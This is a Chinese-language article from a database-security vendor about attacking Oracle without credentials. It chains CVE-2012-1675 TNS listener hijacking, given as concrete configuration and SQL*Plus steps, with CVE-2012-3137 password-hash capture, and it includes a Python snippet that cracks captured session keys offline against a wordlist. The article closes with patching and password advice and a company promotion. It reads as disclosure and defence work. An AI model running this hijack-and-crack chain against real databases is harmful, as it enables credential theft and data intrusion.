Oracle數據庫漏洞隱患無需user/password快速***

作者:安華金和 思成

摘要

一般性的數據庫漏洞,都是在成功連接或登錄數據庫後實現***;本文介紹兩個在2012年暴露的Oracle漏洞,通過這兩種漏洞的結合,可以在不掌握用戶名/密碼的情況下***Oracle,從而完成對數據的竊取或者破壞。

這兩個漏洞就是CVE-2012-1675和CVE-2012-3137。


引言

國內外很多重要的系統都採用Oracle作爲數據存儲的數據庫;在Oracle中存儲着企業或政府大量敏感的信息,在金錢或政治的誘導下,內外部***會想法利用管理、網絡、主機或數據庫的自身漏洞嘗試***到數據庫中,以達到自身的目的。

本文的作者通過對Oracle倆種漏洞的組合研究,設計了一套在不掌握用戶名/密碼的方式***到Oracle中;這種方法,比傳統的需要登錄到數據庫中的***方法,具有更大的安全隱患和破壞性。

本文希望通過對這兩個漏洞和***方法的介紹,能夠引起相關人員的重視,完善對數據庫安全的措施。

 

1、概要介紹

本文提供的方法是基於漏洞CVE-2012-1675和CVE-2012-3137***oracle的方法。

CVE-2012-1675漏洞是Oracle允許***者在不提供用戶名/密碼的情況下,向遠程“TNS Listener”組件處理的數據投毒的漏洞。***者可利用此漏洞將數據庫服務器的合法“TNS Listener”組件中的數據轉向到***者控制的系統,導致控制遠程組件的數據庫實例,造成組件和合法數據庫之間的中間人***、會話劫持或拒絕服務***。

CVE-2012-3137漏洞是Oracle Database 10g/11g身份驗證協議實現中存在一個設計缺陷,***者無需認證即可遠程獲取數據庫用戶密碼哈希相關數據,從而可以離線暴力破解用戶密碼,進一步控制數據庫系統。

我們通過如下的步驟和過程可以實現對Oracle的***:

  1. 利用CVE-2012-1675進行TNS劫持,在監聽下利用遠程註冊,註冊同名數據庫實例;

  2. 新登陸的用戶,在TNS的負載均衡策略下,有可能流量登錄到僞造的監聽服務上;

  3. 該監聽服務對用戶的登陸過程進行監控,並將相關數據流量轉發到真實的數據庫上;

  4. 利用CVE-2012-3137獲得通訊過程中的認證相關信息;

  5. 對認證相關信息進行離線的暴力破解,獲得登陸的密碼;

  6. 試用破解的用戶名/密碼登陸Oracle,完成對Oracle中數據的訪問;

     


2、CVE-2012-1675進行TNS劫持

    該漏洞存在於Oracle的所有版本,並且Oracle至今僅是發佈了警告性通知,並未提供解決方案。

要想利用CVE-2012-1675漏洞做TNS劫持,首先需要了解TNS機制。如下圖所示oracle 通過在本地解析網絡服務名到目標主機IP地址,服務端口號,目標數據庫名,把這些信息發送到oracle服務器端監聽程序,最後再由監聽程序遞送DBMS。

wKioL1SPr7WR5RbZAAEclhG0M6I672.jpg

其中關鍵點在於監聽會按照目標數據庫名遞送到名稱正確的數據庫。那麼如果一個監聽下有2個同名數據庫。監聽將自動按照負載均衡把這次訪問發送到負載低的數據庫上,進行連接訪問。數據庫註冊到監聽的方法就決定了,能否同時註冊同名數據庫在同一個監聽下。註冊方式分爲本地註冊和遠程註冊,通過修改參數可以調整爲遠程註冊。

下面是一段可用的TNS劫持的過程:

1.在劫持機上創建一個和目標數據庫實例同名的數據庫實例。

2.在劫持機上修改 tnsnames.ora 文件

添加

listener_name=

    (DESCRIPTION=

    (ADDRESS=(PROTOCOL=tcp)(HOST=目標機器IP)(PORT=目標機器端口)))

3.在劫持機上用SQL*Plus 順序執行下面步驟。

1.$ sqlplus / as sysdba

  2. SQL> ALTER SYSTEM SETREMOTE_LISTENER='LISTENER_NAME';

  3. SQL> ALTER SYSTEM REGISTER;

4.多個客戶端,向數據庫發起登錄。會劫持到一部分客戶端的登錄信息。

最終達到效果如下圖所示:

 wKiom1SPrv_gImdDAAJqoo2eB-E269.jpg

 

按照猜想同一個監聽下有2個同名實例。客戶端訪問監聽,監聽按照客戶端中的數據庫名信息分配數據庫,由於監聽下有2個同名數據庫,客戶端鏈接很可能會被分配到劫持者的數據庫實例下,再通過配置劫持者的本地監聽把客戶端請求指回原數據庫。結構圖如下:

wKioL1SPr_GysToEAAD0Anu-cFw185.jpg

   測試客戶端鏈接196次。目標數據庫實例獲得113次,劫持數據庫實例獲得83次基本滿足負載均衡的假設。(註上面實例是local server 下面實例是 remote server)

wKiom1SPr3DQ_IugAAFNcVcW9IQ449.jpg

    通過以上方式我們可以截獲約一半左右客戶端發送到服務器的合法鏈接。其中獲得了服務器IP、端口號、數據庫位置、實例名、登錄用戶名等一系列明文信息和4組密文信息(AUTH_SESSKEY,AUTH_SESSKEY_CLIENT,AUTH_PASSWORD,AUTH_VFR_DATA)。

 

3、通過CVE-2012-3137進行密碼破解

CVE-2012-3137受影響的數據庫版本有11.2.0.3,11.2.0.2,11.1.0.7,有使用了SHA-1加密算法的10.2.0.5和10.2.0.4,還有使用了SHA-1的10.2.0.3(運行在z/OS下)版本。

雖然這個漏洞在11.2.0.3中已經解決,但是僅僅數據庫客戶端和服務器都升級到11.2.0.3並且sqlnet.ora文件中增加SQLNET.ALLOWED_LOGON_VERSION=12纔有效。

   正如CVE-2012-3137所描述Oracle爲了防止第三方通過網絡獲取登錄信息包。而對密碼進行了加密處理。本部分只以oracle11.1密碼如何破解爲例進行說明。

 

在發起連接之後(oracle牽手完成),客戶端和服務器經過協商確定要使用的驗證協議。要完成這個任務,客戶端首先向數據庫發送一個包。包中包含客戶端主要信息和所請求的加密方式。數據庫確認加密方式有效後,發送一個確認服務包如下圖所示:

 wKioL1SPsEjCl4U6AADTyhORshI265.jpg

 在通過安全網絡服務完成任何所要求的協議之後,數據庫用戶被O3logon(oracle驗證方式) 進行驗證,這個協議執行一個序列來向數據庫證明客戶端擁有密碼。爲了避免網絡第三方截獲到密碼。首先客戶端發送用戶名到數據庫來表明用戶身份。數據庫端根據加密協議,其中96位的作爲數據庫端密鑰,20位的作爲偏移量,它對每個連接都是不同的。一個典型的數據庫端發給客戶端的密鑰如下:

AUTH_SESSKEY.....COCDD89FIGODKWASDF……………………

客戶端根據加密算法向服務器端發送96位的客戶端密鑰和64位的密碼密鑰。服務器端計算客戶端傳入的密碼密鑰。如果計算後密碼密文和數據庫中存儲的16位密碼密文一致則驗證通過。

wKioL1SPsGajJuy5AAD6T7-cRxM341.jpg

根據這個過程可知上面TNS劫持包中取得的加密信息:AUTH_SESSKEY,AUTH_SESSKEY_CLIENT,AUTH_PASSWORD,AUTH_VFR_DATA這四個值是解密的關鍵。我們把他們按照SHA1,MD5,AES192進行一系列處理。最終通過數據字典碰撞得到密碼明文。

下面這段是綠盟網站上公佈的一段示例代碼,這段代碼與筆者的思路不完全相同,但也能大概地說明這個漏洞的***過程:

  
    import hashlib
    from Crypto.Cipher import AES
      
    def decrypt(session,salt,password):
            pass_hash= hashlib.sha1(password+salt)
            key =pass_hash.digest() + '\x00\x00\x00\x00'
            decryptor= AES.new(key,AES.MODE_CBC)
            plain =decryptor.decrypt(session)
            returnplain
    session_hex ='EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
      
    salt_hex = 'A7193E546377EC56639E'
      
    passwords = ['test','password','oracle','demo']
      
    for password in passwords:
            session_id= decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
            print'Decrypted session_id for password "%s" is %s' %(password,session_id.encode('hex'))
            ifsession_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
                    print'PASSWORD IS "%s"' % password
                    break


4、建議的預防措施


根據以上兩段分析,我們可以有如下的預防措施:

  1. 在條件許可的情況下,對Oracle進行補丁升級,對Oracle打cpuoct2012-1515893補丁;注意對於cpuoct2012-1515893補丁要求服務器端和應用服務器端同時升級,否則應用系統將無法訪問Oracle;

  2. 若無法對Oracle升級,要購買或安裝具備虛擬補丁功能的數據庫安全產品,防止對CVE-2012-3137和CVE-2012-1675的利用;

  3. 建立足夠強健的口令,不要使用8位以下密碼,或者字典庫中的口令。

     






關於安華金和

安華金和是我國專業數據庫安全產品和服務提供商,由長期致力於數據庫內核研發和信息安全領域的專業資深人員共同創造,是國內唯一提供全面的數據庫安全產品、服務和解決方案服務商,覆蓋數據庫安全防護的事前檢查、事中控制和事後審覈,幫助用戶全面實現數據庫安全防護和安全合規。

安華金和數據庫安全產品已經廣泛地應用於政府、軍隊、軍工、運營商、金融、企業信息防護等領域,建立了一定的聲譽,成爲衆多企業在該領域尋求安全產品和服務的首選。




 

 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章